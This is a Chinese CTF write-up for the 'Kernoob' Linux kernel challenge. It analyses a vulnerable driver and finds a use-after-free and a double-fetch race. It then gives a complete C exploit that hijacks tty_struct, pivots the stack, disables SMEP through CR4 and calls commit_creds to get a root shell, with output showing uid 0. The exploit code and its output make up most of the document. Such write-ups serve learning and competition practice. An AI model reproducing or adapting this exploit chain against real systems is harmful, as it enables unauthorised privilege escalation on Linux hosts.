高校战疫‘Kernoob’

April 13, 2020 PWN CTF-Writeup 访问: 56 次

kernoob

首先分析一下startvm.sh这个文件

#!/bin/bash
qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 pti=off oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp 2,cores=2,threads=1 \
-cpu qemu64,smep 2>/dev/null \
-s

没有开启kaslr,说明内核地址和驱动加载地址是不变的
开启了smep保护,内核不能执行用户区域的指令,修改cr4 寄存器为0x6f0即可绕过

分析rcS

     1  #!/bin/sh
     2  
     3  echo "Welcome :)"
     4  
     5  mount -t proc none /proc
     6  mount -t devtmpfs none /dev
     7  mkdir /dev/pts
     8  mount /dev/pts
     9  
    10  insmod /home/pwn/noob.ko
    11  chmod 666 /dev/noob
    12  
    13  echo 1 > /proc/sys/kernel/dmesg_restrict
    14  echo 1 > /proc/sys/kernel/kptr_restrict
    15  
    16  cd /home/pwn
    17  setsid /bin/cttyhack setuidgid 1000 sh
    18  
    19  umount /proc
    20  poweroff -f

13行表示禁止普通用户查看demsg信息:Link

14行表示root用户有权限读取/proc/kallsyms, 普通用户没有权限:Link

分析nook.ko

noob_ioctl提供了有增删改查的功能,类似于用户态的pwn

__int64 __usercall noob_ioctl@<rax>(__int64 a1@<rbp>, __int64 a2@<rsi>, __int64 a3@<rdi>)
{
  __int64 *v3; // rdx
  signed __int64 v5; // [rsp-10h] [rbp-10h]
  __int64 v6; // [rsp-8h] [rbp-8h]

  _fentry__(a3, a2);
  v6 = a1;
  if ( a2 == 0x30001 )
    return del_note(&v6, v3, a2);
  if ( a2 > 0x30001 )
  {
    if ( a2 == 0x30002 )
    {
      v5 = edit_note(&v6, v3, a2);
    }
    else
    {
      if ( a2 != 0x30003 )
        return -1LL;
      v5 = show_note(&v6, v3, a2);
    }
  }
  else
  {
    if ( a2 != 0x30000 )
      return -1LL;
    v5 = add_note(&v6, v3, a2);
  }
  return v5;
}

经分析,发现在del_note存在UAF,在add_note存在double fetch

可以分配任意大小的heap,并且存在UAF,及可以利用tty_struct来控制程序流,进而进行ROP、getshell等

需要注意的是,这个题目的vmlinux文件中没有mov rsp,rax ; dec ebx ; ret指令,所以之前控制栈的方法不行了,在从高校战疫的两道kernel学习kernel学习到用xchg eax, esp; ret;来控制栈,极为方便快捷,xchg指令是将两个寄存器的值互换,方法就是用mmap申请一个栈空间,地址就是xchg eax, esp; ret;指令地址的低四位,然后把ROP chain写到fake stack里,再控制tty_struct让程序流执行到这里即可

poc:

#include<stdio.h>
#include<stdlib.h>
#include<sys/ioctl.h>
#include<fcntl.h>
#include<pthread.h>
#include<stdbool.h>
#include<unistd.h>

//mmap
#include <unistd.h> 
#include <sys/mman.h>

struct data_1{
    size_t index;
    char *fill;
    size_t size;
};
int sign=0;

void *change_size(void *p)
{
    struct data_1 *s = p;
    while(sign==0)
    {
        // printf("\033[1;31;44mpthread doing!\033[0m\n");
        s->size=0x2e0;
    }
}
size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
size_t commit_creds_addr ,prepare_kernel_cred_addr;
void get_root(){
    __asm__(
        "mov rdi, 0;"
        "mov rbx, prepare_kernel_cred_addr;"
        "call rbx;"
        "mov rdi, rax;"
        "mov rbx, commit_creds_addr;"
        "call rbx;"
    );
}
void get_shell()
{
    if(!getuid())
    {
        system("echo root:");
        system("/bin/sh");
    }else{
        system("echo fail");
    }
}
int main()
{
    save_status();
    pthread_t pt;
    char str[0x10]="123";
    int sign_1;
    struct data_1 dd;
    size_t fake_tty_operations[53],payload[0x100]={0};
    dd.index=0;
    dd.fill=malloc(0x300);
    dd.size=0;
    int fd=open("/dev/noob",0);
    pthread_create(&pt,NULL,change_size,&dd);
    while(true)
    {
        dd.size=0;
        sign_1=ioctl(fd,0x30000,&dd);
        if(sign_1==0)
        {
            printf("\033[1;31;44m0x2e0 heap success!\033[0m\n");
            break;
        }
    }
    sign=1;
    pthread_join(pt,NULL);
    // pthread_exit(NULL);

    //uaf
    ioctl(fd,0x30001,&dd);

    //tty_struct
    int fd_ptmx = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    size_t code_1 = 0xffffffff8101f2f0;//mov cr4, rdi; pop rbp; ret;
    size_t code_2 = 0xffffffff8107f460;//pop rdi; ret;
    size_t code_3 = 0xffffffff8101db17;//xchg eax, esp; ret;
    size_t code_4 = 0xffffffff81069bd4;//swapgs; pop rbp; ret;
    size_t code_5 = 0xffffffff81034edb;//iretq; pop rbp; ret;
    size_t code_6 = 0xffffffff814c17fb;// pop rdx; pop rdi; ret;
    size_t fake_stack = code_3&0xffffffff;
    commit_creds_addr = 0xffffffff810ad430;
    prepare_kernel_cred_addr = 0xffffffff810ad7e0;

    //fake stack
    if(mmap(fake_stack,0x3000,7, 0x22, -1, 0)==-1)
    {
        printf("mmap fail!!");
        return 1;
    }
    *(size_t *)fake_stack = code_2;
    *((size_t *)fake_stack+1) = 0x6f0;
    *((size_t *)fake_stack+2) = code_1;
    *((size_t *)fake_stack+3) = 0;
    *((size_t *)fake_stack+4) = (size_t)get_root;
    *((size_t *)fake_stack+5) = code_4;
    *((size_t *)fake_stack+6) = 0;
    *((size_t *)fake_stack+7) = code_5;
    *((size_t *)fake_stack+8) = (size_t)get_shell;
    *((size_t *)fake_stack+9) = user_cs;
    *((size_t *)fake_stack+10) = user_rflags;
    *((size_t *)fake_stack+11) = user_sp;
    *((size_t *)fake_stack+12) = user_ss;

    fake_tty_operations[0]=(size_t)0x1234;
    fake_tty_operations[1]=(size_t)0x1234;
    fake_tty_operations[2]=(size_t)0x1234;
    fake_tty_operations[7]=(size_t)code_3;

    printf("fake_tty_operations:%p",fake_tty_operations);
    ioctl(fd,0x30003,&dd);
    ((size_t *)dd.fill)[3]=fake_tty_operations;
    ioctl(fd,0x30002,&dd);
    ioctl(fd,0x30003,&dd);
    char buf[0x8] = {0};
    write(fd_ptmx, buf, 8);
    printf("Dowe!\n");
    return 0;
    //0xffffffffc00044c0
}

结果:

 radish ➜ dfbc2e53440546ebb687759123215e9e  bash startvm.sh 
Welcome :)
~ $ id
uid=1000(pwn) gid=1000 groups=1000
~ $ /exp
[*]status has been saved.
0x2e0 heap success!
root:
/home/pwn # id
uid=0(root) gid=0
/home/pwn # 

另一种做法

Kernoob: kmalloc without SMAP

添加新评论